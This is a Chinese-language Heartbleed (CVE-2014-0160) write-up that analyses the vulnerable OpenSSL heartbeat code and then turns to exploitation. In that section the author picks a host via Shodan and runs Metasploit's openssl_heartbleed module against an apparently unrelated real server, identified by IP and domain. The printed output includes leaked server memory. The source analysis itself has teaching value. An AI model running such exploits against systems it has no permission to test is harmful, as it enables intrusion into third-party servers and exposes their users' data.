cve-2014-0160
漏洞介绍
2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1到1.0.1f版本中存在严重漏洞(CVE-2014-0160)。OpenSSL Heartbleed模块存在一个BUG,问题存在于ssl/dl_both.c文件中的心跳部分,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。该漏洞又叫“心脏出血”漏洞。
TLS/SSL 简介
TLS 和 SSL 是两个密切相关的协议, 均用于保证两个主机之间通信数据的机密性与完整性。
TLS或 SSL 可为已存在的应用层协议(例如. HTTP, LDAP, FTP, SMTP 及其他),添加一个安全层。它同样可以用于创建VPN解决方案(例如, OpenVPN).
SSL 协议于1994年由Netscape开发。1996年,SSL 3.0 (最后版本)被发布。IETF 基于此协议进行了开发,取名为TLS。1999年,IETF在RFC2246中发布TLS 1.0。
TLS 或 SSL 协议,由多层构成. 最接近它的上层协议是可信传输协议(例如: TCP). 它可用于封装较高层次的协议。
协议握手 – 允许服务器与客户间相互验证, 协商加密算法,交换密钥.
协议警告 – 警告讯息传达警告的严重程度和警报的描述(错误,关闭,握手障碍等). 导致连接立即终止的一些致命结果,都会产生警告。警告信息会在当前连接状态下,被加密和压缩。
协议应用 – 位于传输层协议(TCP/IP)之上, 例如: HTTP, TELNET, FTP, SMTP.
漏洞分析
直接从源码补丁开始比较,发现增加了对rrec.length长度的判断。来找一下rrec在源代码中的哪个位置出现了。
在openssl-1.0.1fsslssl3.h中定义了ssl3_state_st里面就有对rrec的定义。是由SSL3_RECORD定义的,在找一下SSL3_RECORD的位置。
typedef struct ssl3_state_st
{
long flags;
int delay_buf_pop_ret;
unsigned char read_sequence[8];
int read_mac_secret_size;
unsigned char read_mac_secret[EVP_MAX_MD_SIZE];
unsigned char write_sequence[8];
int write_mac_secret_size;
unsigned char write_mac_secret[EVP_MAX_MD_SIZE];
unsigned char server_random[SSL3_RANDOM_SIZE];
unsigned char client_random[SSL3_RANDOM_SIZE];
/* flags for countermeasure against known-IV weakness */
int need_empty_fragments;
int empty_fragment_done;
/* The value of 'extra' when the buffers were initialized */
int init_extra;
SSL3_BUFFER rbuf; /* read IO goes into here */
SSL3_BUFFER wbuf; /* write IO goes into here */
SSL3_RECORD rrec; /* each decoded record goes in here */
SSL3_RECORD wrec; /* goes out from here */
/* storage for Alert/Handshake protocol data received but not
* yet processed by ssl3_read_bytes: */
unsigned char alert_fragment[2];
unsigned int alert_fragment_len;
unsigned char handshake_fragment[4];
unsigned int handshake_fragment_len;
/* partial write - check the numbers match */
unsigned int wnum; /* number of bytes sent so far */
int wpend_tot; /* number bytes written */
int wpend_type;
int wpend_ret; /* number of bytes submitted */
const unsigned char *wpend_buf;
/* used during startup, digest all incoming/outgoing packets */
BIO *handshake_buffer;
/* When set of handshake digests is determined, buffer is hashed
* and freed and MD_CTX-es for all required digests are stored in
* this array */
EVP_MD_CTX **handshake_dgst;
/* this is set whenerver we see a change_cipher_spec message
* come in when we are not looking for one */
int change_cipher_spec;
int warn_alert;
int fatal_alert;
/* we allow one fatal and one warning alert to be outstanding,
* send close alert via the warning alert */
int alert_dispatch;
unsigned char send_alert[2];
/* This flag is set when we should renegotiate ASAP, basically when
* there is no more data in the read or write buffers */
int renegotiate;
int total_renegotiations;
int num_renegotiations;
int in_read_app_data;
/* Opaque PRF input as used for the current handshake.
* These fields are used only if TLSEXT_TYPE_opaque_prf_input is defined
* (otherwise, they are merely present to improve binary compatibility) */
void *client_opaque_prf_input;
size_t client_opaque_prf_input_len;
void *server_opaque_prf_input;
size_t server_opaque_prf_input_len;
struct {
/* actually only needs to be 16+20 */
unsigned char cert_verify_md[EVP_MAX_MD_SIZE*2];
/* actually only need to be 16+20 for SSLv3 and 12 for TLS */
unsigned char finish_md[EVP_MAX_MD_SIZE*2];
int finish_md_len;
unsigned char peer_finish_md[EVP_MAX_MD_SIZE*2];
int peer_finish_md_len;
unsigned long message_size;
int message_type;
/* used to hold the new cipher we are going to use */
const SSL_CIPHER *new_cipher;
#ifndef OPENSSL_NO_DH
DH *dh;
#endif
#ifndef OPENSSL_NO_ECDH
EC_KEY *ecdh; /* holds short lived ECDH key */
#endif
/* used when SSL_ST_FLUSH_DATA is entered */
int next_state;
int reuse_message;
/* used for certificate requests */
int cert_req;
int ctype_num;
char ctype[SSL3_CT_NUMBER];
STACK_OF(X509_NAME) *ca_names;
int use_rsa_tmp;
int key_block_length;
unsigned char *key_block;
const EVP_CIPHER *new_sym_enc;
const EVP_MD *new_hash;
int new_mac_pkey_type;
int new_mac_secret_size;
#ifndef OPENSSL_NO_COMP
const SSL_COMP *new_compression;
#else
char *new_compression;
#endif
int cert_request;
} tmp;
/* Connection binding to prevent renegotiation attacks */
unsigned char previous_client_finished[EVP_MAX_MD_SIZE];
unsigned char previous_client_finished_len;
unsigned char previous_server_finished[EVP_MAX_MD_SIZE];
unsigned char previous_server_finished_len;
int send_connection_binding; /* TODOEKR */
#ifndef OPENSSL_NO_NEXTPROTONEG
/* Set if we saw the Next Protocol Negotiation extension from our peer. */
int next_proto_neg_seen;
#endif
#ifndef OPENSSL_NO_TLSEXT
#ifndef OPENSSL_NO_EC
/* This is set to true if we believe that this is a version of Safari
* running on OS X 10.6 or newer. We wish to know this because Safari
* on 10.8 .. 10.8.3 has broken ECDHE-ECDSA support. */
char is_probably_safari;
#endif /* !OPENSSL_NO_EC */
#endif /* !OPENSSL_NO_TLSEXT */
} SSL3_STATE;
同样是在当前的ssl3.h文件中有对ssl3_record的定义。可以看到这里有length的定义,也就是说在补丁中增加的其实是在这里的长度。
typedef struct ssl3_record_st
{
/*r */ int type; /* type of record */
**/*rw*/ unsigned int length; /* How many bytes available */**
/*r */ unsigned int off; /* read/write offset into 'buf' */
/*rw*/ unsigned char *data; /* pointer to the record data */
/*rw*/ unsigned char *input; /* where the decode bytes are */
/*r */ unsigned char *comp; /* only used with decompression - malloc()ed */
/*r */ unsigned long epoch; /* epoch number, needed by DTLS1 */
/*r */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
} SSL3_RECORD;
在openssl-1.0.1fsslt1_libc.c中tls1_process_heartbeat的memcpy会造成数组访问越界
int tls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl; // p指向SSL3记录数据,即心跳包数据
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
/* Read type and payload length first */
hbtype = *p++; // 心跳包类型
n2s(p, payload); // 心跳包长度payload,n2s是将双字节转换成单字节
pl = p; // 心跳包数据
if (s->msg_callback)
s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
&s->s3->rrec.data[0], s->s3->rrec.length,
s, s->msg_callback_arg);
if (hbtype == TLS1_HB_REQUEST) // 心跳请求包类型
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 bytes
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding); // 分配最大可为65554(1+2+65535+16)的内存块
bp = buffer; // bp指向上面分配的内存块
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE; // 第1字节填充响应类型
s2n(payload, bp); // 将长度值payload由单字节转换成双字节,然后填充到bp的第2、3字节
**memcpy(bp, pl, payload); // 最后填充payload长度的pl数据(用户提供的心跳包数据),而此处payload完全由用户控制,当传入过大数值时,可能导致越界访问pl之后的数据,造成敏感信息泄露**
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding); // 随机填充字节
// 将前面复制进内存区域的数据返回给用户
r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
if (r >= 0 && s->msg_callback)
s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
buffer, 3 + payload + padding,
s, s->msg_callback_arg);
OPENSSL_free(buffer); // 释放内存
if (r < 0)
return r;
}
else if (hbtype == TLS1_HB_RESPONSE) // 心跳响应包类型
{
unsigned int seq;
/* We only send sequence numbers (2 bytes unsigned int),
* and 16 random bytes, so we just try to read the
* sequence number */
n2s(pl, seq);
if (payload == 18 && seq == s->tlsext_hb_seq)
{
s->tlsext_hb_seq++;
s->tlsext_hb_pending = 0;
}
}
return 0;
}
漏洞利用
可以直接在msf利用,现在shodan找个网址
>msfconsole
[-] ***
[-] * WARNING: No database support: No database YAML file
[-] ***
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v5.0.12-dev-b021cbafa9e58f48b8e940ad2ebc4e4d38b9ec09]
+ -- --=[ 1866 exploits - 1058 auxiliary - 327 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 > search cve-2014-0160
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat
(Heartbleed) Information Leak
auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL
Heartbeat (Heartbleed) Client Memory Exposure
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMPFILTER no Pattern to filter leaked memory before storing
LEAK_COUNT 1 yes Number of times to leak memory per SCAN or DUMP invocation
MAX_KEYTRIES 50 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port (TCP)
STATUS_EVERY 5 yes How many retries until key dump status
THREADS 1 yes The number of concurrent threads
TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted:
None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)
Auxiliary action:
Name Description
---- -----------
SCAN Check hosts for vulnerability
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 92.154.49.106
RHOSTS => 92.154.49.106
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
[*] 92.154.49.106:443 - Leaking heartbeat response #1
[*] 92.154.49.106:443 - Sending Client Hello...
[*] 92.154.49.106:443 - SSL record #1:
[*] 92.154.49.106:443 - Type: 22
[*] 92.154.49.106:443 - Version: 0x0301
[*] 92.154.49.106:443 - Length: 54
[*] 92.154.49.106:443 - Handshake #1:
[*] 92.154.49.106:443 - Length: 50
[*] 92.154.49.106:443 - Type: Server Hello (2)
[*] 92.154.49.106:443 - Server Hello Version: 0x0301
[*] 92.154.49.106:443 - Server Hello random data:
5d0cb5af625a05a33d7b97111aba4745638e749c9fa48c735c2722034a93a0b5
[*] 92.154.49.106:443 - Server Hello Session ID length: 0
[*] 92.154.49.106:443 - Server Hello Session ID:
[*] 92.154.49.106:443 - SSL record #2:
[*] 92.154.49.106:443 - Type: 22
[*] 92.154.49.106:443 - Version: 0x0301
[*] 92.154.49.106:443 - Length: 2650
[*] 92.154.49.106:443 - Handshake #1:
[*] 92.154.49.106:443 - Length: 2646
[*] 92.154.49.106:443 - Type: Certificate Data (11)
[*] 92.154.49.106:443 - Certificates length: 2643
[*] 92.154.49.106:443 - Data length: 2646
[*] 92.154.49.106:443 - Certificate #1:
[*] 92.154.49.106:443 - Certificate #1: Length: 1472
[*] 92.154.49.106:443 - Certificate #1: #<OpenSSL::X509::Certificate:
subject=#<OpenSSL::X509::Name CN=pertepecuniaire.fr>,
issuer=#<OpenSSL::X509::Name CN=Thawte RSA CA
2018,OU=www.digicert.com,O=DigiCert Inc,C=US>,
serial=#<OpenSSL::BN:0x000000000e009200>, not_before=2018-10-12 00:00:00 UTC,
not_after=2019-11-10 12:00:00 UTC>
[*] 92.154.49.106:443 - Certificate #2:
[*] 92.154.49.106:443 - Certificate #2: Length: 1165
[*] 92.154.49.106:443 - Certificate #2: #<OpenSSL::X509::Certificate:
subject=#<OpenSSL::X509::Name CN=Thawte RSA CA
2018,OU=www.digicert.com,O=DigiCert Inc,C=US>, issuer=#<OpenSSL::X509::Name
CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US>,
serial=#<OpenSSL::BN:0x000000000cdb7a98>, not_before=2017-11-06 12:23:52 UTC,
not_after=2027-11-06 12:23:52 UTC>
[*] 92.154.49.106:443 - SSL record #3:
[*] 92.154.49.106:443 - Type: 22
[*] 92.154.49.106:443 - Version: 0x0301
[*] 92.154.49.106:443 - Length: 331
[*] 92.154.49.106:443 - Handshake #1:
[*] 92.154.49.106:443 - Length: 327
[*] 92.154.49.106:443 - Type: Server Key Exchange (12)
[*] 92.154.49.106:443 - SSL record #4:
[*] 92.154.49.106:443 - Type: 22
[*] 92.154.49.106:443 - Version: 0x0301
[*] 92.154.49.106:443 - Length: 4
[*] 92.154.49.106:443 - Handshake #1:
[*] 92.154.49.106:443 - Length: 0
[*] 92.154.49.106:443 - Type: Server Hello Done (14)
[*] 92.154.49.106:443 - Sending Heartbeat...
[*] 92.154.49.106:443 - Heartbeat response, 65535 bytes
[+] 92.154.49.106:443 - Heartbeat response with leak, 65535 bytes
[*] 92.154.49.106:443 - Printable info leaked:
......]......ea..,.g5N.W.b.....#O6.4>..f.....".!.9.8.........5.............................3.2.....E.D...../...A................................................Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8..Accept-Charset:
GBK,utf-8;q=0.7,*;q=0.3..Accept-Language: zh-CN,zh;q=0.8..Connection:
close.............j..1.............................................................................................................................................................................C?.....................................................................................................................................
repeated 15604 times
.....................................................................................................................................@.....................................................................................................................................
repeated 16122 times
.....................................................................................................................................@.....................................................................................................................................
repeated 1079 times
.....................................................................................................................................O....H.........1...-...Fca...5.z.F.eyN......av.T...G......S.....)...%.,.*.b...c.....N.........+..G.1...|.<.....o.Y.2...R...H.f.$.....>...6...8.....=.Y.......t.....6.....-.........K.....f...h.n.d.......~.........
.H.......F.L...}...X............:.8........................................................................................................................................................................................................................................................................................is
xsi:type="ManagedObjectReference"
type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>bD....|..*x..=.Q.....................................................................................................................................
repeated 10035 times
.....................................................................................................................................]....8...8.8.k.8.k..`....T.....................................................................................................................................
repeated 3770 times
.....................................................................................................................................@.....................................................................................................................................
repeated 16103 times
.....................................................................................................................................
[*] 92.154.49.106:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) >
参考链接
《漏洞战争》
https://bugzilla.redhat.com/attachment.cgi?id=883475&action=diff